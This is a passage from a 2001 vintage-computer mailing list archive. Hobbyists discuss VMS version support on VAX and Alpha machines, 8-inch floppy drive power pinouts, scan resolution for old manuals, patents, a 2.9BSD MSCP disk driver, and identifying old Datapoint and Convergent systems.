a wider range of processors (including, > >IIRC, some 3100's) the trick is getting it. > > I've got several versions of 4.x on TK50. IIRC, so do I. However, I suspect both of us have access to a little more DEC stuff than most people on the list (or even most interested in VAXen). > That is very good info. If I ever get a MicroVAX I for da House I'll put > 6.2 on it. Would it help if I admited I got it from the "OpenVMS Hobbyist FAQ"? Although that specific info came out of the V7.2 SPD. Zane From healyzh at aracnet.com Fri Jun 29 21:01:39 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:05:06 2005 Subject: 'Good' versions of VMS In-Reply-To: <200106300114.f5U1EEx21405@bg-tc-ppp1569.monmouth.com> from "Bill Pechter" at Jun 29, 2001 09:14:14 PM Message-ID: <200106300201.f5U21em08370@shell1.aracnet.com> > I remember 3.2 as pretty good and 3.2-3.4 less so if you were > trying to use the new hardware HSC's, RA81's and stuff. > > 3.5 and 3.6 were very stable... on 11/7xx boxes and 8600's. > > Clusters were new and tricky but useable at 3.6. > > Clusters got good by 4.2 > > This is my best field service memory from almost 20 years ago. > 1981-86. Any memory or documentation on what the first version was to support various hardware platforms (especially for the older stuff)? I've been searching for that info for ages. Zane From Lee.Davison at merlincommunications.com Fri Jun 29 21:14:39 2001 From: Lee.Davison at merlincommunications.com (Davison, Lee) Date: Sun Feb 27 19:05:06 2005 Subject: preserving / ressurecting old docs? Message-ID: <707AA588EE28D311BCD50090276D7D0007A2B2@BUSH02> > 70 DPI would be something like a 9 pin dot matrix printer. > The definition on those 9 pin dot printers is about 100dpi but the resolution is much less, possibly less than 50 dpi. The Transtel printer here is lucky if it can print a straight line. > If a manual was phototypeset on a CAT phototypesetter (most > popular phototypesetter in the publishing industry in the mid > 70's.) then the resolution is 2000dpi (they spec it in lines/ > millimeter but my recollection is that it was about 2000lines/ > inch after conversion) so those manuals should be scanned at > 4800 dpi right? > No, the resolution may be 2000 lines/inch, the definition won't be. I doubt you'll find any feature, even on good copy, smaller than 1/250". On old manuals I would be suprised to find much, if any detail smaller than 1/100" so ok. 250dpi then. > Basically, I think you may be mistaken on a few of your numbers. > Not really, just looked a two books, TI TTL data book 1979 and Radio valve data 1966. The TI book gets to about 125 dpi at best, but is on coated paper. The Radio valve data book barely manages 80 dpi and is on uncoated paper, typical for manuals. >Scanning at just over twice the source resolution is the best you Hmmm ... for "resolution" read "definition" .. well it is 3AM. 8^)= Lee. ---------------------------------------------------------------------------- ---- This email is intended only for the above named addressee(s). The information contained in this email may contain information which is confidential. The views expressed in this email are personal to the sender and do not in any way reflect the views of the company. If you have received this email and you are not a named addressee please delete it from your system and contact Merlin Communications International IT Department on +44 20 7344 5888. _____________________________________________________________________ This message has been checked for all known viruses by Star Internet delivered through the MessageLabs Virus Scanning Service. For further information visit http://www.star.net.uk/stats.asp or alternatively call Star Internet for details on the Virus Scanning Service. From edick at idcomm.com Fri Jun 29 21:19:58 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:05:06 2005 Subject: WTB: 8" floppy References: Message-ID: <001d01c1010b$2905d280$9cc762d8@idcomm.com> The connector definitions from the '70's, before they thought up the LSI board or even the intermediate board that actually didn't require the Vee supply, however, relied on the presence of that negative bias for the read amp's. If you plug the DC supply compatible with the ORIGINAL version of that SA80x connector into any drive that uses it, it will work, though the Vee and possibly the 24-volt supply as well, may be redundant. It's quite true that supplies concocted with the intention of eliminating the redundant supplies won't work with the older drives. However, it's unlikely they'll hurt the drives, though the drives won't work properly. Dick ----- Original Message ----- From: "Tony Duell" To: Sent: Friday, June 29, 2001 3:20 PM Subject: Re: WTB: 8" floppy > > > > I'm not sure I go along with that. > > > > While it's advisable to check requirements before hooking up any device, I've > > got to say I've never seen an 8" drive that used the "conventional" DC supply > > connector for 8" drives, as defined by the Shugart folks, et al back in the > > '70's, that wouldn't work on precisely the same power configuration, using +24, > > +5, and -5 with the associated returns. While there were some drives that would > > tolerate -12 in place of the -5 if you jumpered them approproately, I've not > > seen any that would be damaged if you overlooked that detail and simply hooked > > up -5. Moreover, the majority of drives available by the mid-80's, admittedly > > I have just dug out the service manuals for the SA800 and SA850 drives. > > According to the SA800 manual, the DC power connector pinout is : > > 1 +24V DC (+/- 1.2V) (1.7A max) > 2 Ground (+24V return) > 3 Ground (-5V return) > 4 Either -5V (+/-0.25V) or -7 to -16V (jumper option) (0.1A max) > 5 +5V (+/- 0.25V) (1A max) > 6 Ground (+5V return) > > Later drives, using the LSI PCBs (which a 40 pin chip on it), do not use > the -ve supply. Pin 4 is simply not connected. > > According to the SA850 manual, the pinout of its DC power connector is : > 1 +24V (+/-2.4V) (1A max) > 2 Ground (+24V return) > 3 Ground (not shown in table of connections, shown on schematic) > 4 Not Connected > 5 +5V (+/-0.25V) (1.1A max) > 6 Ground (+5V return). > > So it is possible to have a PSU that will work with the SA850, but not > with older (and in my experience more common) SA800s. The latter need a > -ve supply, the former do not. There is no danger in connecting a -ve > supply to pin 4 on an SA850, though -- that pin is simply not connected > on the SA850. So you can plug the SA850 into the PSU for an SA800. > > Now, the drives that use a -ve supply rail have an on-board 79M05 that > regulates the -7 to -16V down to -5V. That regulator can be bypassed by a > jumper to select -5V input. > > The -5V line is used by the write driver (discrete transistors, probably > wouldn't mind -16V for a short time), and the read amplifier (592 video > amp, 8T20 monotstable, probably wouldn't like -12V or -16V). I certainly > wouldn't want to try it! > > > late in the 8" drive's market life, didn't even require the negative voltage. > > Oddly enough, even the later 8" DC-powered drives from Shugart, Tandon, and > > others, used that same connector for their DC supplies, though several of them > > immediately regulated the +24 down to +12. NEC's DC-powered FD1165's, by the > > Presumably to maintain compatability so you could plug the newer drives > in place of the old ones... > > > way, were a noteable exception in that they used the same little connector for > > power as the 3-1/2" drives use. That was why I gave away the ones that came > > into my possession. I don't know what their DC power requirements were. > > One 'nasty' relates to the Archive Sidewinder, a QIC tape cartridge > drive. This thing has a 4 pin power connector identical to the ones on > 5.25" floppy drives, etc). Ground on the middle 2 pins, +5V where you'd > expect it, too. But the other outside pin is +24V, not +12V. I am told > that some Suns used this drive and had a special power cable for it > carrying the right voltages. Get then mixed up when assembling the > machine, and you might plug +24V into a hard disk expecting +12V. The > results, apparently, are not pleasant. > > -tony > > From jhellige at earthlink.net Fri Jun 29 21:21:09 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:05:06 2005 Subject: 'Good' versions of VMS In-Reply-To: <200106300158.f5U1whg08235@shell1.aracnet.com> References: <200106300158.f5U1whg08235@shell1.aracnet.com> Message-ID: > > I've got several versions of 4.x on TK50. >IIRC, so do I. However, I suspect both of us have access to a little more >DEC stuff than most people on the list (or even most interested in VAXen). My MicroVAX II has 4.6 installed and a TK50 that is labled as 4.5 and another TK50 labled as the MV II Customer Diagnostics. This last tape I believe was reused at some point if I remember correctly though. What's the last version of VMS that runs decently on a MV II? It's been stated that 7.2 still supports it, but is the machine really up to that new of a version? Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From edick at idcomm.com Fri Jun 29 21:23:45 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:05:06 2005 Subject: WTB: 8" floppy References: Message-ID: <002901c1010b$b0333ae0$9cc762d8@idcomm.com> The old (1981-82) DAVONG hard drives for use with PC's came packaged together with a WD 1100-series chipset based HDC that talked some protocol specific to that device, and IT was also equipped with similar connectors, i.e. connectors that could be plugged wrongly if one didn't pay attention, in that one connector was the standard hard drive power connector, yet the other was intended for the controller, and had a negative 12V on it where something else went. You could, conceivably, hurt something if you didn't pay attention to the wire colors. However, since it wasn't intended that you get into the box ... Dick ----- Original Message ----- From: "Fred Cisin (XenoSoft)" To: Sent: Friday, June 29, 2001 5:53 PM Subject: Re: WTB: 8" floppy > On Fri, 29 Jun 2001, Tony Duell wrote: > > One 'nasty' relates to the Archive Sidewinder, a QIC tape cartridge > > drive. This thing has a 4 pin power connector identical to the ones on > > 5.25" floppy drives, etc). Ground on the middle 2 pins, +5V where you'd > > expect it, too. But the other outside pin is +24V, not +12V. I am told > > that some Suns used this drive and had a special power cable for it > > carrying the right voltages. Get then mixed up when assembling the > > machine, and you might plug +24V into a hard disk expecting +12V. The > > results, apparently, are not pleasant. > > Another similar nasty: > I have a 3.25" drive that uses the same connector as a 3.5" drive, except > that the +5 and +12 pins are reversed! > Fortunately, the 3" drives that I have use the same connector and pinout > as 5.25". (which seems to be standardized) > > -- > Grumpy Ol' Fred cisin@xenosoft.com > > From ip500 at home.com Fri Jun 29 21:35:38 2001 From: ip500 at home.com (Craig Smith) Date: Sun Feb 27 19:05:06 2005 Subject: Patent process: was: Unibus / Qbus bus drivers and receivers References: Message-ID: <3B3D3AFA.B1849C69@home.com> "Clint Wolff (VAX collector)" wrote: > The patent protects a very specific portion of the idea, and all > possible implementations of that portion. > A microprocessor isn't patentable. A nifty way of using a stack > for floating point registers is patentable (one of Intel's '387 > patents, IIRC). That is why the Weitek math coprocessor wasn't > very popular. It was different from the '387. > > You can't get a patent on something that is in the public > domain, or has shipped in a commercial product (even your > own). You can't get a patent on anything published, so most > of the technology from schools is available for free, though > many are starting to create their own patent portfolio for > additional revenue. You can't get a patent on anything the > government paid to help develop. > > You can get a patent on stupid stuff if you are lucky and > the examiner isn't skilled in the art. The Y2K fix of adding > an offset to the year is a good example. Here you have hit the nail squarely on the head! In fact you can get a patent on damn near anything [assuming you draw the claims narrowly enough] ... The PTO [Patent and Trademark Office] can't even begin to keep abreast of the state of the art. Unlikely that the "best and the brightest" are opting for Gov't service in a cubicle at the PTO. HOWEVER, getting the patent issued is only your ticket to the "E ride" as it were. Once issued it is only worth more than the paper its printed on AFTER it has successfully been defended in an infringement suit, preferably several times. Makes it tough on the little guy with limited legal resources. The easiest thing to do is go ahead and "steal" the idea, produce the product and just say "so, sue us" in response to a demand to stop. A good attorney can tie it up in litigation for longer than the product life cycle! The patent doesn't give anyone the right to make a product ... ONLY the right to EXCLUDE others from making and/or using the idea. 2 cents worth from a guy who USED to be in that nasty biz, Craig From healyzh at aracnet.com Fri Jun 29 21:30:51 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:05:06 2005 Subject: 'Good' versions of VMS In-Reply-To: <200106300135.f5U1ZXG20261@narnia.int.dittman.net> from "Eric Dittman" at Jun 29, 2001 08:35:33 PM Message-ID: <200106300230.f5U2Up309311@shell1.aracnet.com> > > Once V7.3-1 is out, then I'll consider moving past V7.2-x. > > I've loaded V7.3 on the Charon VAX emulator, and it went pretty smooth, > but I'll not try to roll out V7.3 on the production VAX systems at work > until there's a good reason. For the Alphas I'm with you on waiting for > V7.3-1. I had no choice but to go with V7.2 for Alpha when it was released, though I was at eft2 for a while before the Hobbyist CD's were released. I do blame myself for sticking with V7.2 up until now though. > I'm pretty sure I have V5.5-2 on CD. I seem to remember V5.5-2H4 was > only shipped with processors that needed the support, since the "H" > releases are hardware releases, not patch releases. IIRC, V5.5-2 is on the Hobbyist V1 CD, so if I'm lucky I'll be able to load that on the VAXstation 4000/60 I want to run it on. BTW, I know in the case of V7.2-1 you can no longer buy it, you have to buy V7.2-1H1. > When Tim Stark's VAX emulation is ready I want to get a copy of V1.x just to > play with it, since it's been a long time since I've seen it running. Hmmm... I'd not thought about that! I was just looking forward to having something that Hobbyists can run that should support Ethernet! I wonder if Tim Shoppa or Montagar have old versions of VMS. > V7.3 seems to have support for the MicroVAX II: > > $ write sys$output f$getsyi("HW_NAME") > MicroVAX II > $ write sys$output f$getsyi("VERSION") > V7.3 There is a difference between running on the hardware, and being supported on it. It will run on a few platforms that it's never been supported on. > V7.3 is the last version for quite a few VAX systems. (listed > in the SPD). Dang, I'll have to go back through it. I obviously missed it. I wish it was still available as text or html. That PDF is a pain when you're used to reading it as text (yeah, I know I'm the one always singing Adobe Acrobats praise). Zane From cmcmanis at mcmanis.com Fri Jun 29 21:35:54 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:05:06 2005 Subject: 'Good' versions of VMS In-Reply-To: References: <200106300158.f5U1whg08235@shell1.aracnet.com> <200106300158.f5U1whg08235@shell1.aracnet.com> Message-ID: <5.0.0.25.2.20010629193250.0236c250@209.185.79.193> At 10:21 PM 6/29/01 -0400, Jeff wrote: > What's the last version of VMS that runs decently on a MV II? It's been stated > that 7.2 still supports it, but is the machine really up to that new of a version? 7.2 will run on it. I personally prefer 5.5-2 as its modern enough to have lots of support and ancient enough to still be VAX only :-) --Chuck From cisin at xenosoft.com Fri Jun 29 21:48:42 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:05:06 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <707AA588EE28D311BCD50090276D7D0007A2B1@BUSH02> Message-ID: On Sat, 30 Jun 2001, Davison, Lee wrote: > > > Scanning printed material much above 150dpi is usually a waste > > > as most printing is done at about 70dpi. What am I not understanding here? 70dpi with 80 characters per line and 66 lines per page would be about 7 by 9 pixels per character. That is reasonably average dot matrix printout quality for the 70s, NOT suitable for manuals. Even small outfits paid for typesetting at more than an order of magnitude better resolution than that. >From the mid 80s on, when laser printers were readily available, there was a DECLINE in manual quality due to the use of 300dpi laser printers instead of typesetting. > We're talking old manuals here. Remember? OLD manuals. How old? > Nobody, commercially, makes books on laserprinters. True. I made a master on a laserprinter, and had commercial xerographic copies made from that. (cheaper by a substantial margin than printing each one out on the laser printer) Then sheared them to size and bound them in house. Anyone without a commercial grade paper shear (hint: that is not a swinging arm, nor a pizza cutter) is not serious about producing their own manuals. > > If you can manage it, i would say scan at 600 Dpi. > Waste of time, effort and storage space. > > scanning at 1/2 the target printer resolution is probably > > the best you can hope for. > Scanning at just over twice the source resolution is the best you > will ever get. More than that's a waste. How is your OCR doing? THAT might be a better measure for whether what you are doing is working. -- Grumpy Ol' Fred cisin@xenosoft.com From dittman at dittman.net Fri Jun 29 21:58:09 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:05:06 2005 Subject: 'Good' versions of VMS In-Reply-To: <200106300230.f5U2Up309311@shell1.aracnet.com> from "healyzh@aracnet.com" at Jun 29, 2001 07:30:51 PM Message-ID: <200106300258.f5U2w9J20745@narnia.int.dittman.net> > > I'm pretty sure I have V5.5-2 on CD. I seem to remember V5.5-2H4 was > > only shipped with processors that needed the support, since the "H" > > releases are hardware releases, not patch releases. > > IIRC, V5.5-2 is on the Hobbyist V1 CD, so if I'm lucky I'll be able to load > that on the VAXstation 4000/60 I want to run it on. BTW, I know in the case > of V7.2-1 you can no longer buy it, you have to buy V7.2-1H1. But that's really a problem, since -1H1 is just -1 with support for newer processors. If it was like the V7.1-x releases for the Alpha, it was probably cheaper. > > When Tim Stark's VAX emulation is ready I want to get a copy of V1.x just to > > play with it, since it's been a long time since I've seen it running. > > Hmmm... I'd not thought about that! I was just looking forward to having > something that Hobbyists can run that should support Ethernet! I wonder if > Tim Shoppa or Montagar have old versions of VMS. I'm looking forward to a VAX emulator with Ethernet support, too. That is still my primary interest in Tim's version. > > V7.3 seems to have support for the MicroVAX II: > > > > $ write sys$output f$getsyi("HW_NAME") > > MicroVAX II > > $ write sys$output f$getsyi("VERSION") > > V7.3 > > There is a difference between running on the hardware, and being supported > on it. It will run on a few platforms that it's never been supported on. I've never tried running an unsupported release. I expected that the installation process would have made some complaint or warning even if it loaded. > > V7.3 is the last version for quite a few VAX systems. (listed > > in the SPD). > > Dang, I'll have to go back through it. I obviously missed it. I wish it > was still available as text or html. That PDF is a pain when you're used to > reading it as text (yeah, I know I'm the one always singing Adobe Acrobats > praise). If I remember correctly, the 8xxx and 9xxx are going away, but while there are still some people running 8xxx, most of the 9000s went away because they were a pain. -- Eric Dittman dittman@dittman.net From ernestls at home.com Fri Jun 29 22:05:25 2001 From: ernestls at home.com (Ernest) Date: Sun Feb 27 19:05:06 2005 Subject: Looking for collector contacts in Sweden. In-Reply-To: <20010629054951.61236.qmail@web9507.mail.yahoo.com> Message-ID: I'm trying to find a Luxor ABC-80 sysetm, and I was hoping that someone might know of a computer collector in Sweden who could help me track one down. If anyone knows of a person who could help me, please pass my name and email address on to them. I'll make them a good offer on trades or cash. Or, pass their info to me, and I'll contact them myself. Thanks. Ernest ernestls@home.com From Lee.Davison at merlincommunications.com Fri Jun 29 22:14:38 2001 From: Lee.Davison at merlincommunications.com (Davison, Lee) Date: Sun Feb 27 19:05:06 2005 Subject: preserving / ressurecting old docs? Message-ID: <707AA588EE28D311BCD50090276D7D0007A2B4@BUSH02> > How is your OCR doing? THAT might be a better measure for > whether what you are doing is working. > My OCR does fine at 150 dpi on nearly everything and is much faster than working with 600 dpi source. The spellchecker gets most of the errors. It has to, I can't spell. Lee. ---------------------------------------------------------------------------- ---- This email is intended only for the above named addressee(s). The information contained in this email may contain information which is confidential. The views expressed in this email are personal to the sender and do not in any way reflect the views of the company. If you have received this email and you are not a named addressee please delete it from your system and contact Merlin Communications International IT Department on +44 20 7344 5888. _____________________________________________________________________ This message has been checked for all known viruses by Star Internet delivered through the MessageLabs Virus Scanning Service. For further information visit http://www.star.net.uk/stats.asp or alternatively call Star Internet for details on the Virus Scanning Service. From healyzh at aracnet.com Fri Jun 29 22:18:23 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:05:06 2005 Subject: 'Good' versions of VMS In-Reply-To: <200106300258.f5U2w9J20745@narnia.int.dittman.net> from "Eric Dittman" at Jun 29, 2001 09:58:09 PM Message-ID: <200106300318.f5U3INc10696@shell1.aracnet.com> > But that's really a problem, since -1H1 is just -1 with support for newer > processors. If it was like the V7.1-x releases for the Alpha, it was > probably cheaper. It's definitly a problem. However, V7.2-1 is listed as only available internally. Yes, the V7.2-1H1 release was nice and cheap :^) OTOH, it runs on my PWS 433au quite nicely and required a lot less patches than V7.2-1 would have, so I'm happy :^) > I'm looking forward to a VAX emulator with Ethernet support, too. > That is still my primary interest in Tim's version. There is also work being done on simh to add VAX support, however, I don't think much is being done towards adding Ethernet support if past emulators are any indication. However, with Bob Supnik, there is a definite chance of getting said emulator up and running on a VMS machine (even though I've never managed it), which would be seriously cool. > I've never tried running an unsupported release. I expected that the > installation process would have made some complaint or warning even > if it loaded. I've heard the VAX version of VMS is more forgiving. OpenVMS V7.2eft2/Alpha would install on a machine with less than 64MB (unsupported), while V7.2/Alpha itself totally refuses to install. V7.2/VAX can be installed in less than 16MB which is the minimum supported. From cisin at xenosoft.com Fri Jun 29 22:25:54 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:05:06 2005 Subject: dpi? (was: preserving / ressurecting old docs? In-Reply-To: <707AA588EE28D311BCD50090276D7D0007A2B2@BUSH02> Message-ID: On Sat, 30 Jun 2001, Davison, Lee wrote: > > 70 DPI would be something like a 9 pin dot matrix printer. > The definition on those 9 pin dot printers is about 100dpi but the > resolution is much less, possibly less than 50 dpi. If you make characters that are a 7 by 9 pixel matrix (the coarsest that most people will EVER tolerate), how are you going to get 80 characters per line with less than 70dpi? > The Transtel > printer here is lucky if it can print a straight line. There were and are many POS printers. Besides, by this time of day, I can't print a straight line, either. > > If a manual was phototypeset on a CAT phototypesetter . . . > No, the resolution may be 2000 lines/inch, the definition won't be. > I doubt you'll find any feature, even on good copy, smaller than > 1/250". On old manuals I would be suprised to find much, if any > detail smaller than 1/100" so ok. 250dpi then. In the late 80s, I had to make a lot of the fonts that I needed. (Cordata and HP compatible soft fonts) When using CX engine laser printers, at 300dpi, there were DEFINITELY single pixel features at 1/300". 300 dpi is so damn coarse, that you can't even make a GOOD serif. The entire reason for "hinting" in Adobe Postscript fonts is entirely because 1/300" is NOT good enough resolution for algorithmically reduced fonts, and would LOSE features. I made one font for in-house archiving that consisted of a 7 by 9 PIXEL (also made a 5 x 7) font mimicing the PC character set at 300dpi. Our "Fiche font" permitted squeezing a LOT of text onto a page. I could take what would otherwise have been a few hundred pages, and fold it up and stuff it in a posket. Every pixel was clear and distinct. The later SX engines overflowed the pixel cell with each dot, making for a MUCH richer black, but blurring the pixels together. (That was before presbyopia set in. Now I need significant optical assistance to read my old materials.) -- Grumpy Ol' Fred cisin@xenosoft.com From dittman at dittman.net Fri Jun 29 22:38:17 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:05:06 2005 Subject: 'Good' versions of VMS In-Reply-To: <200106300318.f5U3INc10696@shell1.aracnet.com> from "healyzh@aracnet.com" at Jun 29, 2001 08:18:23 PM Message-ID: <200106300338.f5U3cHl20884@narnia.int.dittman.net> > > But that's really a problem, since -1H1 is just -1 with support for newer > > processors. If it was like the V7.1-x releases for the Alpha, it was > > probably cheaper. > > It's definitly a problem. However, V7.2-1 is listed as only available > internally. Yes, the V7.2-1H1 release was nice and cheap :^) OTOH, it runs > on my PWS 433au quite nicely and required a lot less patches than V7.2-1 > would have, so I'm happy :^) How is the lack of V7.2-1 a problem? There's nothing it can do that V7.2-1H1 can't. -- Eric Dittman dittman@dittman.net From healyzh at aracnet.com Fri Jun 29 22:46:24 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:05:06 2005 Subject: 'Good' versions of VMS In-Reply-To: <200106300338.f5U3cHl20884@narnia.int.dittman.net> from "Eric Dittman" at Jun 29, 2001 10:38:17 PM Message-ID: <200106300346.f5U3kO911559@shell1.aracnet.com> > How is the lack of V7.2-1 a problem? There's nothing it can do that > V7.2-1H1 can't. >From a Hobbyist standpoint it's not. However, if I understand things correctly it's only *supported* on a very narrow list of hardware. Of course any commercial shop probably had their V7.2-1 CD's long before V7.2-1H1 came out. Zane From cisin at xenosoft.com Fri Jun 29 23:06:27 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:05:06 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <707AA588EE28D311BCD50090276D7D0007A2B4@BUSH02> Message-ID: On Sat, 30 Jun 2001, Davison, Lee wrote: > My OCR does fine at 150 dpi on nearly everything and is much > faster than working with 600 dpi source. The spellchecker gets > most of the errors. It has to, I can't spell. That's what counts. A good context sensitive OCR program should be able to operate at well BELOW the source resolution -- it needs to differentiate the characters, not necessarily see all features. (for example: serifs) And with good enough context sensitivity, a lot of them can be interpolated even if not recognizable. > This message has been checked for all known viruses by Star Internet > delivered through the MessageLabs Virus Scanning Service. For further > information visit http://www.star.net.uk/stats.asp or alternatively call > Star Internet for details on the Virus Scanning Service. Is Outlook, etc. so incredibly porous that it's necessary to scan plain text messages?? Are you the one whose system sends an automated response every time somebody sends an infected attachment to the list? -- Grumpy Ol' Fred cisin@xenosoft.com From sms at TO.GD-ES.COM Fri Jun 29 23:10:49 2001 From: sms at TO.GD-ES.COM (Steven M. Schultz) Date: Sun Feb 27 19:05:07 2005 Subject: [pups] adding MSCP driver to 2.9BSD Message-ID: <200106300410.f5U4Anb13819@wlv.to.gd-es.com> Hi -- I'd normally be posting from my '2bsd.com' account but the circuit failed today and the telco is due out tomorrow (Saturday) morning. > From: "Jonathan Engdahl" > I took the MSCP disk driver (the ra driver) from the PRO-350 > version of 2.9BSD on the PUPS archive, and added it to the Ah, I didn't know that someone had created a MSCP driver for 2.9 > I have figured out that the autoconfig will not work with this > driver. It reports "No autoconfig routines". Evidently, probe is > not implemented in either the 2.9 or 2.11 version of the MSCP driver. > I don't know about 2.9 but I do know just a little bit about 2.11 and the MSCP (and TMSCP) drivers 'probe' and "autoconfig" just fine. In fact in 2.11 floating vectors are allocated descending from 01000 and programmed into the adaptor for secondary controllers (the primary/first/boot controller always gets 0154). > So, how to I get UNIX to "attach" the ra driver? When you updated the kernel did you also update the 'autoconfig' process? In 2.11 there is /sys/autoconfig and whenever a new device driver is added to the kernel it is also necessary to update the autoconfig code with a 'XXauto.c" file and an entry in a couple tables. As I recall on 2.9 the autoconf stuff was intermingled with the regular driver sources which made for a bit of a mess. When 2.11 came around the chance was taken to clean things up. Programmable vector devices (such as MSCP) are a VERY awkward thing for 'autoconfig' to deal with. Prior to 2.11 the vectors were more or less hardcoded in 'l.s' (or was it scb.s or locore.s - gads my memory is slipping) and the driver. 'autoconfig' was mostly a double check that a device was really present. 2.11 has the kernel hooks for 'autoconfig' to request a dynamically allocated vector which can be assigned to a device - bit of a hack but fairly elegantly done. > This is the first time I've tried doing a UNIX sysgen, so extra > explanations might be required. The only documentation I have is > what I downloaded along with the distribution. Look in /sys/pdpuba and see if you can find the '*auto.c' files - follow their lead and craft something for 'autoconfig'. The simplest case is to just "check that something exists" at the CSR and return 'true' - don't try to force an interrupt, etc. Perhaps some other folks who have run 2.9 more recently (or who have better memory than I do ;)) can jump in here. Steven Schultz sms@moe.2bsd.com (when the circuit gets fixed ;)) From dittman at dittman.net Fri Jun 29 23:33:57 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:05:07 2005 Subject: 'Good' versions of VMS In-Reply-To: <200106300346.f5U3kO911559@shell1.aracnet.com> from "healyzh@aracnet.com" at Jun 29, 2001 08:46:24 PM Message-ID: <200106300433.f5U4XvK21060@narnia.int.dittman.net> > > How is the lack of V7.2-1 a problem? There's nothing it can do that > > V7.2-1H1 can't. > > >From a Hobbyist standpoint it's not. However, if I understand things > correctly it's only *supported* on a very narrow list of hardware. Of > course any commercial shop probably had their V7.2-1 CD's long before > V7.2-1H1 came out. A commercial shop with a support contract should be able to go ahead and get a new copy of V7.2-1. I've been able to request software from the archive for supported systems, like the VAX Console software for a VAX 8820. I just checked the V7.2-1H1 SPD on WIS and all the systems that are supported by V7.2-1 are supported by V7.2-1H1. -- Eric Dittman dittman@dittman.net From foo at siconic.com Fri Jun 29 22:36:48 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:05:07 2005 Subject: Old stuff found + help identifying... In-Reply-To: <012e01c1005b$a03a8c20$39b1b2d1@Smith.earthlink.net> Message-ID: On Thu, 28 Jun 2001, Wayne M. Smith wrote: > The book "Computer Power for the Small Business" by Sippl/Dahl (1979) > profiles the Datapoint 1500. The 1500 looks a lot like the 1550 you > have, except that the keyboard and CPU/display are separate units. > Storage is in a separate dual side-by-side floppy drive. According to > my specs, the 1500 came with 32K of memory and sold for $5,950. > Datapoint was HQ'd in San Antonio, TX. Ah, I have a couple copies of that book. Thanks for posting the info. I actually have a whole truckload of Datapoint computers, terminals, disk and tape drives. I got them from a guy who used to be a Datapoint VAR. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Fri Jun 29 22:42:31 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:05:07 2005 Subject: commodore 2500 in Kansas City In-Reply-To: Message-ID: On Fri, 29 Jun 2001, McFadden, Mike wrote: > Wandering through the computer surplus I came across a commodore 2500 > dumped in a box. I can't tell if it's complete. It was unusual > enough for me to notice. Does anybody want it? I can make an offer > for you and then ship it to you. There was a commodore 2000 manual > next to it. What the hell is a Commodore 2500? Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Fri Jun 29 22:43:44 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:05:07 2005 Subject: preserving / ressurecting old docs? In-Reply-To: Message-ID: On Fri, 29 Jun 2001, Mark wrote: > Depending on your scanner and the paper thickness, you may find that > text from the opposite side of the page "shines through", especially > in greyscale images. You can put a sheet of black card or similar on > top of the page to be scanned to reduce this effect. Good suggestion, but it would probably make things go much quicker to tape the black page to the underside of the scanner lid ;) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Fri Jun 29 22:48:12 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:05:07 2005 Subject: Old stuff found + help identifying... In-Reply-To: <3B3CD7CC.417D4D8F@manizales.autonoma.edu.co> Message-ID: On Fri, 29 Jun 2001, Carlos Murillo wrote: > 1) the modular systems are NGEN from Convergent Technologies; they have 80186 > cpus, which make them B25 modules (thanks, Paxton) or CM001/8; they do > operate from 36V externally supplied by one or more brick-style > power supplies with RJ-style connectors; no hard disks were found with > these, although, considering the manufacturing time frame, it is > conceivable that they were entirely floppy-based; these units Naw, there were hard drive modules available for this system (I have several). > had dual floppy disk drives attached. I hauled a box > with lots of docs and diskettes, but I have not had the time to > go through it; the stuff might not be related to the Convergent systems. > So, I need to (a) find a way to provide these systems with 36VDC, > and (b) look for any related floppies; it may be that these machines > can't be used without a password. You'd be surprised how readily the power supplies for these systems turn up. I find them from time to time at thrift stores even, along with the terminals (the terminals used the same P/S). > 2) The Datapoing 1550 seems to be a diskless computer; there is a connector > in the back that might have been used to connect a floppy disk drive > or something else. I have spotted a couple of burned caps in the > power supply (the computer smelled, so it was clear from the > beginning that I could not take the chance of turning it on unchecked). > There is a card cage in it, but I haven't taken anything but the > cover off. Definitely a keeper (I'm rather fond of Datapoint equipment :) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Fri Jun 29 22:50:18 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:05:07 2005 Subject: Franlin pc 8000 In-Reply-To: Message-ID: On Fri, 29 Jun 2001, Lucas J Cashdollar wrote: > Does anyone know anything about a franklin pc 8000 computer? I > sure don't. I was just curious if its worth keeping around. I am pretty sure it's a PC compatible machine. I just had the manual handy but it's been stored away in a box for cataloguing, and is now in my warehouse :( Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Fri Jun 29 22:58:46 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 